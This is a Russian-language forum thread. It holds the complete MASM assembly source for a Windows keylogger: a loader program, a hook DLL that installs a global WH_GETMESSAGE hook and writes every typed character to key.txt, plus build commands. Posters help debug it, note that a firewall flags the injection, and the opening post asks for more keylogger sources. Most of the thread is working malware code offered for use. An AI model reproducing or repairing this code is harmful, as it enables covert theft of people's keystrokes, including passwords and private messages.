Нашёл исходники простого кейлоггера. work.asm Код (Text): .386p .model flat,stdcall option casemap:none includelib masm32\lib\user32.lib includelib masm32\lib\kernel32.lib includelib masm32\lib\gdi32.lib includelib masm32\lib\advapi32.lib include masm32\include\windows.inc LoadLibraryA PROTO :DWORD LoadLibraryW PROTO :DWORD LoadLibrary equ <LoadLibraryA> GetProcAddress PROTO :DWORD,:DWORD ExitProcess PROTO :DWORD .data DLL db "Hook",0 FileName db "Hook.dll",0 NameProc1 db "InstallHook",0 .data? hInstance dd ? hHook dd ? hDLL dd ? .code start: push offset FileName call LoadLibrary;загружаем hook.dll в адресное пространство mov hDLL,eax;сохраняем описатель DLL push offset NameProc1 push hDLL call GetProcAddress push 12 call eax;устанавливаем хук push 0 call ExitProcess end start hook.dll Код (Text): .386 .model flat,stdcall option casemap:none includelib \masm32\lib\user32.lib includelib \masm32\lib\kernel32.lib includelib \masm32\lib\gdi32.lib includelib \masm32\lib\advapi32.lib include \masm32\include\windows.inc GetWindowsDirectoryA PROTO :DWORD,:DWORD GetWindowsDirectoryW PROTO :DWORD,:DWORD GetWindowsDirectory equ <GetWindowsDirectoryA> lstrcatA PROTO :DWORD,:DWORD lstrcatW PROTO :DWORD,:DWORD lstrcat equ <lstrcatA> LoadLibraryA PROTO :DWORD LoadLibraryW PROTO :DWORD LoadLibrary equ <LoadLibraryA> SetWindowsHookExA PROTO :DWORD,:DWORD,:DWORD,:DWORD SetWindowsHookExW PROTO :DWORD,:DWORD,:DWORD,:DWORD SetWindowsHookEx equ <SetWindowsHookExA> CreateFileA PROTO :DWORD,:DWORD,:DWORD,:DWORD,:DWORD,:DWORD,:DWORD CreateFileW PROTO :DWORD,:DWORD,:DWORD,:DWORD,:DWORD,:DWORD,:DWORD CreateFile equ <CreateFileA> SetFilePointer PROTO :DWORD,:DWORD,:DWORD,:DWORD WriteFile PROTO :DWORD,:DWORD,:DWORD,:DWORD,:DWORD CloseHandle PROTO :DWORD CallNextHookEx PROTO :DWORD,:DWORD,:DWORD,:DWORD .data LogFile db "\key.txt",0 hNum db 2 FileName db "\hook.dll",0 Patch1 db 255 dup (0) Patch2 db 255 dup (0) .data? hFile dd ? hInstance dd ? hHook dd ? hWnd dd ? buffer dd ? .code DllEntry proc hInst:HINSTANCE, reason:DWORD, reserved1:DWORD .if reason==DLL_PROCESS_ATTACH push hInst pop hInstance push 255 push offset Patch2 call GetWindowsDirectory push offset FileName push offset Patch2;Patch1 - LogName call lstrcat push offset Patch2 call LoadLibrary push 255 push offset Patch1 call GetWindowsDirectory push offset LogFile push offset Patch1 call lstrcat; В Patch1 – имя файла лога push 2 call InstallHook;инсталлируем хук в DLL .endif mov eax,TRUE ret 12 DllEntry Endp InstallHook proc push ebp mov ebp,esp push ebx push esi push edi push dword ptr [ebp+08h] pop hWnd push 0 push hInstance push HookProc push WH_GETMESSAGE call SetWindowsHookEx mov hHook,eax pop edi pop esi pop ebx pop ebp ret 4 InstallHook endp HookProc proc;процедура перехвата push ebp mov ebp,esp push ebx push esi push edi mov esi,dword ptr [ebp+10h] add esi,4 cmp dword ptr [esi],WM_CHAR jne x push 0 push FILE_ATTRIBUTE_NORMAL push OPEN_ALWAYS push 0 push 0 push GENERIC_WRITE push offset Patch1 call CreateFile ;открываем наш лог файл для записи в него очередной нажатой клавиши push eax pop hFile push FILE_END push 0 push 0 push hFile call SetFilePointer;ставим указатель в файле на конец add esi,4 mov eax,dword ptr [esi] mov buffer,eax;в переменной buffer – код нажатой клавиши push 0 push offset hNum push 2 push offset buffer push hFile call WriteFile;пишем код нажатой клавиши в конец файла push hFile call CloseHandle;закрываем файл push [ebp+10] push [ebp+0Ch] push [ebp+8] push hHook call CallNextHookEx;после нашей обработки можно передать сообщение проге для которой оно предназначалось x: pop edi pop esi pop ebx pop ebp ret 12 HookProc endp End DllEntry Содержимое DEF-файла для DLL: Код (Text): LIBRARY Hook EXPORTS HookProc EXPORTS InstallHook Компиляция Exe: Код (Text): masm32\bin\ml.exe /c /coff work.asm masm32\bin\link.exe /SUBSYSTEM:WINDOWS work.obj Dll: Код (Text): masm32\bin\ml.exe /c /coff dll.asm masm32\bin\link.exe /DLL /SUBSYSTEM:WINDOWS /DEF:dll.def /LIBPATH:f:\tools\masm32\lib dll.obj Файл hook.dll должен находиться в папке Windows. Work.exe загружает hook.dll. В процессе работы должен создаваться файл лога – key.txt, но файл не создаётся. Кто-нибудь видит ошибку? P.S. Может у кого-нибудь есть другие исходники кейлоггеров? Было бы интересно взглянуть.
Товарисч vg . Проверьте параметры компиляции .У меня все создается и работает . Пути к инклудам&либам(masm32\lib\ ? ) , параметры batников . Замени LogFile db "\key.txt",0 FileName db "\hook.dll",0 на LogFile db "C:\key.txt",0 FileName db "%systemroot%\hook.dll",0 Outpost ругается при попытке установки dll в каждый процесс . Лог создается . Другой вопрос , что в key.txt пишется какой-то мусор . Типа этого 0OM0q3DX3QVg3KuBgcamG19Wc5KIW+D2pDvq2wRL Am8tI6QxXc0+F8s97EHos3ppvBSSb//rFiLVdLmi G3t9b2LyIAPfOK+q3CbpSnZW/4/kUZm1CrYeyzae N1JUlots9KpEUVoNK6kpB3QoKlA0Fjf1eUKuKAwJ u59ED2RstWnvHAbeOO+RvSLMxVt54ov4uQR7Q Судя по всему , то ли неперекодированный правильно , то ли просто бред . В коде dll есть кусок : push FILE_END push 0 push 0 push hFile call SetFilePointer;ставим указатель в файле на конец add esi,4 mov eax,dword ptr [esi] mov buffer,eax;в переменной buffer – код нажатой клавиши Откуда в esi указатель на код нажатой клавиши , я не догоняю . Никто не знает ?
:b "А . Тогда понятно , почему яхта пустила корни. "(C)Врунгель . Там действительно был ключ для outpost :\